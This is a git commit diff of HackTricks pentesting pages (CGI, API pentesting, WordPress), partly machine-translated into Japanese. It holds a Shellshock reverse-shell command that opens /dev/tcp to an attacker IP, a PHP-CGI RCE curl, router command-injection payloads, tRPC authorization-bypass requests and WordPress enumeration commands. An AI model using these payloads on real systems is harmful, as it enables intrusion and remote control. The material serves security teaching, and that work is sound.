mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
408114d4f4
commit
a37aec17bc
Binary file not shown.
Before Width: | Height: | Size: 6.5 KiB |
BIN
src/images/k8studio.png
Normal file
BIN
src/images/k8studio.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 87 KiB |
File diff suppressed because it is too large
Load Diff
@ -5,20 +5,20 @@
|
||||
|
||||
## 情報
|
||||
|
||||
The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it.
|
||||
In order to test for **CGI vulns** it's recommended to use `nikto -C all` (and all the plugins)
|
||||
The **CGI scripts are perl scripts**。そのため、_**.cgi**_ スクリプトを実行できるサーバを侵害している場合、**upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\)、**change the extension** を **.pl** から **.cgi** にし、**execute permissions** \(`chmod +x`\) を付与して、**access** the reverse shell **from the web browser** して実行できます。
|
||||
CGI vulns をテストするためには、`nikto -C all` \(and all the plugins\) の使用が推奨されます。
|
||||
|
||||
## **ShellShock**
|
||||
|
||||
**ShellShock** is a **vulnerability** that affects the widely used **Bash** command-line shell in Unix-based operating systems. It targets the ability of Bash to run commands passed by applications. The vulnerability lies in the manipulation of environment variables, which are dynamic named values that impact how processes run on a computer. Attackers can exploit this by attaching malicious code to environment variables, which is executed upon receiving the variable. This allows attackers to potentially compromise the system.
|
||||
**ShellShock** は、Unix 系オペレーティングシステムで広く使われている **Bash** コマンドラインシェルに影響を与える **vulnerability** です。これは、アプリケーションから渡されたコマンドを Bash が実行する能力を狙うものです。脆弱性は、プロセスの実行に影響を与える動的な名前付き値である **environment variables** の操作にあります。攻撃者は **environment variables** に **malicious code** を付加してこれを悪用し、変数が受信される際に実行させることができます。これによりシステムが侵害される可能性があります。
|
||||
|
||||
Exploiting this vulnerability the **ページがエラーを返す可能性がある**。
|
||||
Exploiting this vulnerability the **page could throw an error**。
|
||||
|
||||
You could **find** this vulnerability noticing that it is using an **old Apache version** and **cgi_mod** (with cgi folder) or using **nikto**.
|
||||
この脆弱性は、**old Apache version** や **cgi_mod** \(with cgi folder\) を使用していることに気づくことで **find** できる場合があり、あるいは **nikto** を使って検出できます。
|
||||
|
||||
### **テスト**
|
||||
|
||||
ほとんどのテストは echo で何かを出力し、その文字列が web レスポンスに返されることを確認するものです。ページが脆弱と思われる場合は、すべての cgi ページを検索してテストしてください。
|
||||
ほとんどのテストは、何かを echo して、その文字列が web response に返されることを期待するものです。ページが脆弱であると思われる場合は、すべての cgi pages を検索してテストしてください。
|
||||
|
||||
**Nmap**
|
||||
```bash
|
||||
@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
|
||||
> set rhosts 10.1.2.11
|
||||
> run
|
||||
```
|
||||
## 集中型 CGI dispatchers (single endpoint routing via selector parameters)
|
||||
## 中央集約型 CGI ディスパッチャ(セレクタパラメータによる単一エンドポイントルーティング)
|
||||
|
||||
多くの embedded web UIs は、単一の CGI エンドポイント(例: `/cgi-bin/cstecgi.cgi`)の背後で数十の特権アクションを多重化し、`topicurl=<handler>` のような selector parameter を使ってリクエストを内部関数にルーティングします。
|
||||
多くの組み込み Web UI は、単一の CGI エンドポイント(例えば、`/cgi-bin/cstecgi.cgi`)の背後で多数の特権アクションを多重化し、`topicurl=<handler>` のようなセレクタパラメータを使ってリクエストを内部関数にルーティングします。
|
||||
|
||||
Methodology to exploit these routers:
|
||||
これらのルータを悪用するための手順:
|
||||
|
||||
- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
|
||||
- Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
|
||||
- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`.
|
||||
- Enumerate handler names: JS/HTML をスクレイピング、wordlists を使った brute-force、または firmware を unpack して dispatcher が使う handler 文字列を grep する。
|
||||
- Test unauthenticated reachability: 一部のハンドラは auth チェックを忘れており、直接呼び出せる場合がある。
|
||||
- Focus on handlers that invoke system utilities or touch files; 脆弱なバリデータは少数の文字だけをブロックし、先頭のハイフン `-` を見落とすことがある。
|
||||
|
||||
Generic exploit shapes:
|
||||
```http
|
||||
@ -75,32 +75,32 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||
# 3) Validator bypass → arbitrary file write in file-touching handlers
|
||||
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
|
||||
```
|
||||
検知とハードニング:
|
||||
検出とハードニング:
|
||||
|
||||
- 中央集約された CGI エンドポイントへの未認証のリクエストで `topicurl` がセンシティブなハンドラに設定されているものを監視する。
|
||||
- 先頭が `-` のパラメータ(argv オプション注入の試み)をフラグ付けする。
|
||||
- ベンダー向け: すべての状態を変更するハンドラに対して認証を強制し、厳密な許可リスト/型/長さで検証し、ユーザー制御可能な文字列をコマンドラインフラグとして渡さないこと。
|
||||
- 中央集約された CGI エンドポイントへの未認証リクエストで、`topicurl` が機密ハンドラに設定されているものに注意する。
|
||||
- 先頭が `-` のパラメータをフラグ付けする(argv option injection attempts)。
|
||||
- ベンダー: すべての状態を変更するハンドラで認証を強制し、厳格な allowlists/types/lengths を使って検証し、ユーザ制御の文字列をコマンドラインフラグとして渡さないこと。
|
||||
|
||||
## 古い PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
|
||||
基本的に cgi が有効で php が「古い」\(<5.3.12 / < 5.4.2\) 場合、コードを実行できる。
|
||||
この脆弱性を悪用するには、パラメータを送信せずに(特に文字 "=" を送信せずに)ウェブサーバの PHP ファイルにアクセスする必要がある。
|
||||
テストするためには、例えば `/index.php?-s` にアクセスする(`-s` に注意)と、**アプリケーションのソースコードがレスポンスに表示される**。
|
||||
基本的に cgi がアクティブで php が「古い」\(<5.3.12 / < 5.4.2\) 場合、コードを実行できます。
|
||||
この脆弱性を悪用するには、パラメータを送らず \(特に文字 "=" を送らない\) にウェブサーバの PHP ファイルにアクセスする必要があります。
|
||||
次に、この脆弱性をテストするには、例えば `/index.php?-s` \( `-s` に注意\) にアクセスすると、**アプリケーションのソースコードがレスポンスに表示されます**。
|
||||
|
||||
その後、**RCE** を得るために次の特殊なクエリを送信できる: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` と、実行する **PHP code** を **body of the request.
|
||||
例:**
|
||||
さらに、**RCE** を得るにはこの特別なクエリを送信できます: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` そして実行する **PHP コード** を **リクエストのボディ。
|
||||
例:**
|
||||
```bash
|
||||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||||
```
|
||||
**脆弱性と利用可能なエクスプロイトの詳細:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
**vuln と possible exploits に関する詳しい情報:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
|
||||
## **Proxy \(MitM to Web server requests\)**
|
||||
|
||||
CGI は HTTP リクエストの各ヘッダごとに環境変数を作成します。例えば: "host:web.com" は "HTTP_HOST"="web.com" と作成されます。
|
||||
CGI は http リクエストの各ヘッダごとに環境変数を作成します。例えば: "host:web.com" は "HTTP_HOST"="web.com" として作成されます。
|
||||
|
||||
HTTP_PROXY 変数が web server によって使用される可能性があるため、**header** に "**Proxy: <IP_attacker>:<PORT>**" を含めて送ってみてください。サーバがセッション中に何らかのリクエストを行う場合、サーバが行った各リクエストをキャプチャできます。
|
||||
HTTP_PROXY 変数が web server によって使用される可能性があるため、**header** に "**Proxy: <IP_attacker>:<PORT>**" を含めて送信してみてください。セッション中にサーバが何らかのリクエストを実行すれば、サーバが行う各リクエストをキャプチャできます。
|
||||
|
||||
## **参考**
|
||||
## **参考資料**
|
||||
|
||||
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||
|
||||
|
@ -2,54 +2,96 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Pentesting Methodology Summary
|
||||
## API Pentesting 手法の概要
|
||||
|
||||
APIのペンテストは、脆弱性を発見するための体系的なアプローチを含みます。このガイドは、実用的な技術とツールを強調した包括的な方法論を要約しています。
|
||||
Pentesting 対象のAPIは、脆弱性を発見するために構造化されたアプローチを必要とします。本ガイドは実践的なテクニックとツールを重視した包括的な手法をまとめています。
|
||||
|
||||
### **Understanding API Types**
|
||||
### **APIタイプの理解**
|
||||
|
||||
- **SOAP/XML Web Services**: ドキュメントのためにWSDL形式を利用し、通常は`?wsdl`パスで見つかります。**SOAPUI**や**WSDLer**(Burp Suite Extension)などのツールは、リクエストの解析と生成に役立ちます。例のドキュメントは[DNE Online](http://www.dneonline.com/calculator.asmx)でアクセス可能です。
|
||||
- **REST APIs (JSON)**: ドキュメントはWADLファイルで提供されることが多いですが、[Swagger UI](https://swagger.io/tools/swagger-ui/)のようなツールは、インタラクションのためのよりユーザーフレンドリーなインターフェースを提供します。**Postman**は、例のリクエストを作成および管理するための貴重なツールです。
|
||||
- **GraphQL**: APIのためのクエリ言語で、API内のデータの完全で理解可能な説明を提供します。
|
||||
- **SOAP/XML Web Services**: ドキュメントは通常 `?wsdl` パスで提供される WSDL 形式を利用します。**SOAPUI** や **WSDLer** (Burp Suite Extension) のようなツールは、リクエストの解析と生成に有用です。例としてのドキュメントは [DNE Online](http://www.dneonline.com/calculator.asmx) で参照できます。
|
||||
- **REST APIs (JSON)**: ドキュメントは WADL ファイルで提供されることもありますが、[Swagger UI](https://swagger.io/tools/swagger-ui/) のようなツールがより扱いやすいインターフェースを提供します。**Postman** はサンプルリクエストの作成・管理に便利です。
|
||||
- **GraphQL**: API のデータに関する完全で理解しやすい記述を提供するクエリ言語です。
|
||||
|
||||
### **Practice Labs**
|
||||
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASPトップ10 API脆弱性をカバーするための実践的な練習用に意図的に脆弱なAPIです。
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP API トップ10 の脆弱性を網羅する、実習用の意図的に脆弱なAPIです。
|
||||
|
||||
### **Effective Tricks for API Pentesting**
|
||||
### **API Pentesting の効果的なテクニック**
|
||||
|
||||
- **SOAP/XML Vulnerabilities**: XXE脆弱性を探求しますが、DTD宣言はしばしば制限されています。XMLが有効なままであれば、CDATAタグはペイロードの挿入を許可する場合があります。
|
||||
- **SOAP/XML Vulnerabilities**: XXE 脆弱性を探索しますが、DTD 宣言はしばしば制限されています。CDATA タグは、XML が有効なままであればペイロード挿入を許す場合があります。
|
||||
- **Privilege Escalation**: 権限レベルが異なるエンドポイントをテストして、不正アクセスの可能性を特定します。
|
||||
- **CORS Misconfigurations**: 認証されたセッションからのCSRF攻撃を通じて、潜在的な悪用可能性のためにCORS設定を調査します。
|
||||
- **Endpoint Discovery**: APIパターンを利用して隠れたエンドポイントを発見します。ファジングツールのようなツールは、このプロセスを自動化できます。
|
||||
- **Parameter Tampering**: リクエスト内のパラメータを追加または置き換えて、不正なデータや機能にアクセスすることを試みます。
|
||||
- **HTTP Method Testing**: リクエストメソッド(GET、POST、PUT、DELETE、PATCH)を変えて、予期しない動作や情報漏洩を発見します。
|
||||
- **Content-Type Manipulation**: 異なるコンテンツタイプ(x-www-form-urlencoded、application/xml、application/json)を切り替えて、解析の問題や脆弱性をテストします。
|
||||
- **Advanced Parameter Techniques**: JSONペイロード内で予期しないデータ型を使用してテストしたり、XXEインジェクションのためにXMLデータを操作したりします。また、パラメータ汚染やワイルドカード文字を試して、より広範なテストを行います。
|
||||
- **Version Testing**: 古いAPIバージョンは攻撃に対してより脆弱である可能性があります。常に複数のAPIバージョンに対して確認し、テストを行います。
|
||||
- **CORS Misconfigurations**: 認証済みセッションからの CSRF 攻撃で悪用可能かどうか、CORS 設定を調査します。
|
||||
- **Endpoint Discovery**: API パターンを利用して隠しエンドポイントを発見します。fuzzer のようなツールでこのプロセスを自動化できます。
|
||||
- **Parameter Tampering**: リクエストにパラメータを追加・置換して、許可されていないデータや機能へアクセスできないか試します。
|
||||
- **HTTP Method Testing**: リクエストメソッド(GET, POST, PUT, DELETE, PATCH)を変えて、予期しない挙動や情報漏えいを発見します。
|
||||
- **Content-Type Manipulation**: 異なる content-type(x-www-form-urlencoded, application/xml, application/json)を切り替えて、パースの問題や脆弱性をテストします。
|
||||
- **Advanced Parameter Techniques**: JSON ペイロードで予期しないデータ型を試したり、XML データで XXE を試したりします。parameter pollution やワイルドカード文字も幅広いテストに役立ちます。
|
||||
- **Version Testing**: 古い API バージョンは攻撃に対して脆弱である可能性が高いです。複数の API バージョンを常に確認してテストしてください。
|
||||
|
||||
### **Tools and Resources for API Pentesting**
|
||||
### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
|
||||
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): APIエンドポイントを発見するのに優れています。ターゲットAPIに対してパスやパラメータをスキャンおよびブルートフォースするために使用します。
|
||||
近年の TypeScript スタックでは tRPC と Zod を組み合わせた入力バリデーションが一般的です。tRPC の `protectedProcedure` は通常リクエストに有効なセッション(認証)があることを保証しますが、呼び出し元が適切な role/permission(認可)を持っていることを意味しません。このミスマッチは、敏感な手続きが `protectedProcedure` だけで保護されている場合に Broken Function Level Authorization/BOLA を引き起こします。
|
||||
|
||||
- Threat model: 役割チェックが欠如していると、低権限の認証ユーザが管理者向けの手続きを呼び出せる可能性があります(例: background migrations, feature flags, tenant-wide maintenance, job control)。
|
||||
- Black-box signal: 基本アカウントで成功するはずのない管理者専用の `POST /api/trpc/<router>.<procedure>` エンドポイントが成功する場合。Self-serve signups は悪用可能性を大幅に高めます。
|
||||
- Typical tRPC route shape (v10+): JSON ボディは通常 {"input": {...}} の形でラップされます。
|
||||
|
||||
Example vulnerable pattern (no role/permission gate):
|
||||
```ts
|
||||
// The endpoint for retrying a migration job
|
||||
// This checks for a valid session (authentication)
|
||||
retry: protectedProcedure
|
||||
// but not for an admin role (authorization).
|
||||
.input(z.object({ name: z.string() }))
|
||||
.mutation(async ({ input, ctx }) => {
|
||||
// Logic to restart a sensitive migration
|
||||
}),
|
||||
```
|
||||
Practical exploitation (black-box)
|
||||
|
||||
1) 通常のアカウントを登録し、認証済みセッション (cookies/headers) を取得する。
|
||||
2) “list”/“all”/“status” 手続きを介して、background jobs やその他の機密性の高いリソースを列挙する。
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{}}'
|
||||
```
|
||||
3) ジョブの再起動などの特権操作を実行する:
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{"name":"<migration_name>"}}'
|
||||
```
|
||||
評価すべき影響
|
||||
|
||||
- non-idempotent restarts によるデータ破損: migrations/workers の同時実行を強制すると race conditions や inconsistent partial states を引き起こし得る(silent data loss、broken analytics)。
|
||||
- worker/DB starvation による DoS: 重いジョブを繰り返し起動すると worker pools や database connections が枯渇し、tenant-wide outages を引き起こす可能性がある。
|
||||
|
||||
### **API Pentesting のツールとリソース**
|
||||
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): API endpoints を発見するのに非常に有用。target APIs に対して paths and parameters を scan や brute force するために使う。
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
||||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||
```
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sjは、関連するAPIエンドポイントの弱い認証をチェックすることによって、**公開されたSwagger/OpenAPI定義ファイル**の監査を支援するために設計されたコマンドラインツールです。また、手動の脆弱性テストのためのコマンドテンプレートも提供します。
|
||||
- **automatic-api-attack-tool**、**Astra**、および**restler-fuzzer**のような追加ツールは、攻撃シミュレーションからファジング、脆弱性スキャンに至るまで、APIセキュリティテストのための特化した機能を提供します。
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OASファイルに基づいてAPIを監査するAPIセキュリティツールです(このツールはRustで書かれています)。
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj は、関連する API endpoints を確認して weak authentication をチェックすることで、**exposed Swagger/OpenAPI definition files** の監査を支援するコマンドラインツールです。手動の脆弱性テスト用のコマンドテンプレートも提供します。
|
||||
- 追加ツールとして **automatic-api-attack-tool**, **Astra**, **restler-fuzzer** などがあり、attack simulation から fuzzing や vulnerability scanning に至るまで、API security testing に特化した機能を提供します。
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): これは OAS ファイルに基づいて API を監査する API セキュリティツールです(ツールは rust で書かれています)。
|
||||
|
||||
### **学習と実践リソース**
|
||||
### **学習と演習リソース**
|
||||
|
||||
- **OWASP API Security Top 10**: 一般的なAPIの脆弱性を理解するための必読書です ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf))。
|
||||
- **API Security Checklist**: APIを保護するための包括的なチェックリストです ([GitHub link](https://github.com/shieldfy/API-Security-Checklist))。
|
||||
- **Logger++ Filters**: APIの脆弱性を探すために、Logger++は便利なフィルターを提供します ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters))。
|
||||
- **API Endpoints List**: テスト目的のための潜在的なAPIエンドポイントのキュレーションリストです ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))。
|
||||
- **OWASP API Security Top 10**: 一般的な API の脆弱性を理解するための必読資料 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
- **API Security Checklist**: API を保護するための包括的なチェックリスト ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
- **Logger++ Filters**: API の脆弱性を探索するために、Logger++ は有用なフィルタを提供します ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
- **API Endpoints List**: テスト目的での潜在的な API エンドポイントをまとめたキュレーションリスト ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
|
||||
- [認可の不備が示す一般的なセキュリティの盲点:CVE-2025-59305 のケーススタディ](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,49 +4,49 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
- **Uploaded** ファイルは次の場所に保存されます: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** そのためテーマの php を変更して RCE を得たい場合、おそらくこのパスを使用します。例えば、**theme twentytwelve** を使用すると、次の場所の **404.php** ファイルに **アクセス** できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** ファイルは次に保存されます: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** つまりテーマの php を変更して RCE を狙う場合、通常そのパスを使用します。例えば:**theme twentytwelve** を使用すると、次の **404.php** ファイルに **access** できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- `wp-config.php` にはデータベースのルートパスワードが含まれていることがあります。
|
||||
- チェックすべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- **wp-config.php** 内にはデータベースのルートパスワードが含まれていることがあります。
|
||||
- 確認すべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **主な WordPress ファイル**
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` にはインストールされている WordPress のバージョンなど、有用な情報が含まれます。
|
||||
- `wp-activate.php` は新しい WordPress サイトをセットアップする際のメール有効化プロセスに使用されます。
|
||||
- ログインフォルダ(隠すために名前が変更されている場合があります):
|
||||
- `license.txt` はインストールされている WordPress のバージョンなど有用な情報が含まれています。
|
||||
- `wp-activate.php` は新しい WordPress サイトのセットアップ中のメール有効化プロセスで使用されます。
|
||||
- Login フォルダ(隠すために名前が変更されている場合があります):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` は、HTTP をトランスポート機構、XML をエンコーディング機構としてデータを送受信できる WordPress の機能を表すファイルです。この種の通信は WordPress の [REST API](https://developer.wordpress.org/rest-api/reference) に置き換えられています。
|
||||
- `xmlrpc.php` は、HTTP をトランスポート、XML をエンコーディング機構としてデータを送受信する WordPress の機能を表すファイルです。この種の通信は WordPress の REST API に置き換えられています。
|
||||
- `wp-content` フォルダはプラグインやテーマが格納される主要なディレクトリです。
|
||||
- `wp-content/uploads/` はプラットフォームにアップロードされたファイルが保存されるディレクトリです。
|
||||
- `wp-includes/` は証明書、フォント、JavaScript ファイル、ウィジェットなどのコアファイルが格納されるディレクトリです。
|
||||
- `wp-sitemap.xml` WordPress 5.5 以降では、公開投稿や公開でクエリ可能な投稿タイプやタクソノミーを含む sitemap XML ファイルが生成されます。
|
||||
- `wp-content/uploads/` はプラットフォームへアップロードされたファイルが保存されるディレクトリです。
|
||||
- `wp-includes/` は証明書、フォント、JavaScript ファイル、ウィジェットなどコアファイルが格納されるディレクトリです。
|
||||
- `wp-sitemap.xml` Wordpress バージョン 5.5 以降では、公開されている投稿やパブリックにクエリ可能な投稿タイプ、タクソノミーを含む sitemap XML ファイルが自動生成されます。
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- `wp-config.php` ファイルには、WordPress がデータベースに接続するために必要なデータベース名、データベースホスト、ユーザー名とパスワード、認証キーおよびソルト、データベーステーブルのプレフィックスなどの情報が含まれます。この設定ファイルは DEBUG モードを有効にするためにも使用でき、トラブルシューティング時に役立ちます。
|
||||
- `wp-config.php` ファイルには、WordPress がデータベースに接続するために必要な情報(データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルのプレフィックスなど)が含まれています。この設定ファイルは DEBUG モードを有効にするためにも使え、トラブルシュート時に有用です。
|
||||
|
||||
### ユーザー権限
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: 自分および他者の投稿を公開・管理できます
|
||||
- **Author**: 自分の投稿を公開・管理できます
|
||||
- **Contributor**: 投稿を書き管理できますが、公開することはできません
|
||||
- **Subscriber**: 投稿を閲覧し、自分のプロフィールを編集できます
|
||||
- **Editor**: 自分と他者の投稿を公開および管理します
|
||||
- **Author**: 自分の投稿を公開および管理します
|
||||
- **Contributor**: 投稿を作成・管理できますが公開はできません
|
||||
- **Subscriber**: 投稿を閲覧し、プロフィールを編集できます
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Get WordPress version**
|
||||
|
||||
`/license.txt` または `/readme.html` ファイルが存在するか確認してください。
|
||||
`/license.txt` または `/readme.html` が見つかるか確認してください
|
||||
|
||||
ページの **ソースコード** 内に(例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
ページの **source code** 内(例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
### プラグインを取得
|
||||
### プラグインを入手
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
@ -72,50 +72,45 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### 一般的なバージョンの抽出
|
||||
### バージョンを一般的に抽出する
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Active enumeration
|
||||
## アクティブ列挙
|
||||
|
||||
### Plugins and Themes
|
||||
|
||||
おそらくすべての Plugins and Themes を見つけることはできません。すべてを発見するには、**actively Brute Force a list of Plugins and Themes** を実行する必要があります(幸い、自動化ツールにこれらのリストが含まれている場合があります)。
|
||||
すべての Plugins and Themes を見つけられないことが多い。すべてを発見するには、**積極的に Brute Force して Plugins and Themes のリストを作成する** 必要がある(幸い、自動化ツールがこれらのリストを含んでいることが多い)。
|
||||
|
||||
### Users
|
||||
### ユーザー
|
||||
|
||||
- **ID Brute:** Brute Forcing により WordPress サイトの有効な users IDs を取得します:
|
||||
- **ID Brute:** WordPress サイトの有効なユーザーは、ユーザーID を Brute Forcing することで取得できる:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
レスポンスが **200** または **30X** の場合、その id は **有効** です。レスポンスが **400** の場合、その id は **無効** です。
|
||||
レスポンスが**200**または**30X**の場合、そのidは**有効**です。レスポンスが**400**の場合、そのidは**無効**です。
|
||||
|
||||
- **wp-json:** ユーザーの情報を取得するためにクエリを投げてみてください:
|
||||
- **wp-json:** クエリしてユーザーの情報を取得してみることもできます:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
ユーザーに関する情報を明らかにする別の `/wp-json/` エンドポイントは次のとおりです:
|
||||
ユーザーに関する情報を明らかにする可能性がある別の `/wp-json/` endpoint は次のとおりです:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Note that this endpoint only exposes users that have made a post. **このエンドポイントは投稿を行ったユーザーのみを公開する点に注意してください。** **Only information about the users that has this feature enable will be provided**。
|
||||
Note that this endpoint only exposes users that have made a post. **この機能を有効にしているユーザーに関する情報のみが提供されます**。
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
また、**/wp-json/wp/v2/pages** が IP アドレスを leak する可能性がある点にも注意してください。
|
||||
|
||||
- **Login username enumeration**: When login in **`/wp-login.php`** the **message** is **different** is the indicated **username exists or not**.
|
||||
- **Login username enumeration**: **`/wp-login.php`** にログインする際、表示される **メッセージ** が **ユーザー名の存在有無で異なる**。
|
||||
- **Login username enumeration**: **`/wp-login.php`** にログインしようとすると、表示される **メッセージ** が **異なり**、指定した **ユーザー名が存在するかどうか** を示します。
|
||||
|
||||
### XML-RPC
|
||||
|
||||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
もし `xml-rpc.php` が有効であれば、credentials brute-force を実行したり、他のリソースに対して DoS を仕掛けるために利用したりできます。(例えば、このプロセスは [using this](https://github.com/relarizky/wpxploit) を使って自動化できます)。
|
||||
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
有効か確認するには _**/xmlrpc.php**_ にアクセスして、次のリクエストを送ってください:
|
||||
|
||||
**Check**
|
||||
**確認**
|
||||
```html
|
||||
<methodCall>
|
||||
@ -127,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
